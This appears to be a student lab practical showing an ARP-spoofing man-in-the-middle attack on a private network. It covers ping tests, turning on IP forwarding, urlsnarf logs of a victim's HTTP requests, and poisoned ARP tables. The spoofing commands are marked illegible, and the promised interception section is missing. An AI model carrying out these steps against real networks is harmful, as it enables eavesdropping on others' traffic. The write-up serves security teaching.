

## Practical – 2

**Aim:** Using open port information perform MITM(Man In The Middle) attack using arpspoof, urlsnarf, dsniff, dnsspoof. 1. Interruption, 2. Interception.

### 1. Interruption:

- Initially Before attack Checking the Connection Between Client and Server using ping command at both side.

Client Side:

```
C:\WINDOWS\system32\cmd.exe
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 192.168.1.1
C:\Documents and Settings\Administrator>ping 192.168.1.120
Pinging 192.168.1.120 with 32 bytes of data:
Reply from 192.168.1.120: bytes=32 time<1ms TTL=128
Reply from 192.168.1.120: bytes=32 time<1ms TTL=128
Reply from 192.168.1.120: bytes=32 time<1ms TTL=128
Reply from 192.168.1.120: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.1.120:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 0ms, Maximum = 0ms, Average = 0ms
```

Server Side:

```
C:\WINDOWS\system32\cmd.exe
Default Gateway . . . . . : 192.168.1.1
C:\Documents and Settings\Administrator>ping 192.168.1.119
Pinging 192.168.1.119 with 32 bytes of data:
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.1.119:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 0ms, Maximum = 0ms, Average = 0ms
```

- Configuring machine to allow packet forwarding, because act as man in the middle attacker machine must act as router between "real router" and the victim.
- Without Change the value in /proc/sys/net/ipv4/ip\_forward from 0 to 1.

```
root@bt:~# cat /proc/sys/net/ipv4/ip_forward
0
root@bt:~#
```

- The next step is setting up arpspoof between victim and router.

[illegible]

- Further setting up arpspoof from to capture all packet from router to victim.

[illegible]

- The Reply between Client and Server are stopped because we had not changed the value in `/proc/sys/net/ipv4/ip_forward` from 0 to 1.

Client Side:

```
C:\WINDOWS\system32\cmd.exe - ping 192.168.1.120 -t

C:\Documents and Settings\Administrator>ping 192.168.1.120 -t

Pinging 192.168.1.120 with 32 bytes of data:

Request timed out.
Request timed out.
```

Server Side:

[illegible]

- Changing the value in /proc/sys/net/ipv4/ip\_forward from 0 to 1.

```

root@bt:~# cat /proc/sys/net/ipv4/ip_forward
0
root@bt:~# echo 1 >> /proc/sys/net/ipv4/ip_forward
root@bt:~# cat /proc/sys/net/ipv4/ip_forward
1
root@bt:~# █

```

- After changing the value in /proc/sys/net/ipv4/ip\_forward from 0 to 1 server and client both are further able to communicate with each other and started ping reply.

Client Side:

```

C:\WINDOWS\system32\cmd.exe - ping 192.168.1.120 -t
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Reply from 192.168.1.120: bytes=32 time<1ms TTL=127
Reply from 192.168.1.120: bytes=32 time<1ms TTL=127
Reply from 192.168.1.120: bytes=32 time<1ms TTL=127
Reply from 192.168.1.120: bytes=32 time<1ms TTL=127
Reply from 192.168.1.120: bytes=32 time<1ms TTL=127
Reply from 192.168.1.120: bytes=32 time<1ms TTL=127

```

Server Side:


```

C:\WINDOWS\system32\cmd.exe - ping 192.168.1.119 -t
Request timed out.
Request timed out.
Request timed out.
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128
Reply from 192.168.1.119: bytes=32 time<1ms TTL=128

```



- Now performing urlsnarf from the attackers machine which capture the packets from both Client and Server side and gives output as bellow.



```
root@bt:~# sudo urlsnarf -i eth0
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]
192.168.1.119 - - [24/Jul/2015:21:15:58 -0400] "GET http://yahoo.com/ HTTP/1.1"
192.168.1.119 - - [24/Jul/2015:21:15:58 -0400] "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
192.168.1.119 - - [24/Jul/2015:21:15:59 -0400] "GET http://downloads.yahoo.com/ HTTP/1.1"
192.168.1.119 - - [24/Jul/2015:21:15:59 -0400] "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
192.168.1.119 - - [24/Jul/2015:21:15:59 -0400] "GET http://downloads.yahoo.com/ HTTP/1.1"
192.168.1.119 - - [24/Jul/2015:21:15:59 -0400] "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
192.168.1.119 - - [24/Jul/2015:21:16:00 -0400] "GET http://l.yimg.com/zz/combo
atomic-min.css&kx/yucs/uh_common/meta/3/css/meta-min.css&kx/yucs/uh3s/uh/394/c
HTTP/1.1" - - "http://downloads.yahoo.com/us/ie6redirect/" "Mozilla/4.0 (comp
5.1; SV1)"
192.168.1.119 - - [24/Jul/2015:21:16:00 -0400] "GET http://l.yimg.com/ll/d/lib
HTTP/1.1" - - "http://downloads.yahoo.com/us/ie6redirect/" "Mozilla/4.0 (compa
5.1; SV1)"
192.168.1.119 - - [24/Jul/2015:21:16:00 -0400] "GET http://l.yimg.com/ll/d/lib
HTTP/1.1" - - "http://downloads.yahoo.com/us/ie6redirect/" "Mozilla/4.0 (compa
5.1; SV1)"
```

- Now performing driftnet from the attackers machine which capture the packets from both Client and Server side and gives output as bellow.

[illegible]

- Checking Interfaces before and after attack on server Machine using command arp -a.

Before Attack: It shows that physical addresses of attacker and client both are different.

```
Interface: 192.168.1.120 --- 0xb
Internet Address      Physical Address      Type
192.168.1.1          98-fc-11-da-d3-20    dynamic
192.168.1.101        00-e0-1c-3b-ab-dd    dynamic
192.168.1.104        08-00-27-89-e0-25    dynamic
192.168.1.109        90-fb-a6-b0-fa-db    dynamic
192.168.1.119        08-00-27-5d-cf-05    dynamic
192.168.1.255        ff-ff-ff-ff-ff-ff    static
224.0.0.2            01-00-5e-00-00-02    static
224.0.0.22          01-00-5e-00-00-16    static
224.0.0.252          01-00-5e-00-00-fc    static
239.255.255.250      01-00-5e-7f-ff-fa    static
255.255.255.255      ff-ff-ff-ff-ff-ff    static
```

After Attack: It shows that physical addresses of attacker and client both are same.

```
C:\Users\admin>arp -a

Interface: 192.168.1.120 --- 0xb
Internet Address      Physical Address      Type
192.168.1.1          98-fc-11-da-d3-20    dynamic
192.168.1.101        00-e0-1c-3b-ab-dd    dynamic
192.168.1.104        08-00-27-89-e0-25    dynamic
192.168.1.109        90-fb-a6-b0-fa-db    dynamic
192.168.1.119        08-00-27-89-e0-25    dynamic
192.168.1.255        ff-ff-ff-ff-ff-ff    static
224.0.0.2            01-00-5e-00-00-02    static
224.0.0.22          01-00-5e-00-00-16    static
224.0.0.252          01-00-5e-00-00-fc    static
239.255.255.250      01-00-5e-7f-ff-fa    static
255.255.255.255      ff-ff-ff-ff-ff-ff    static
```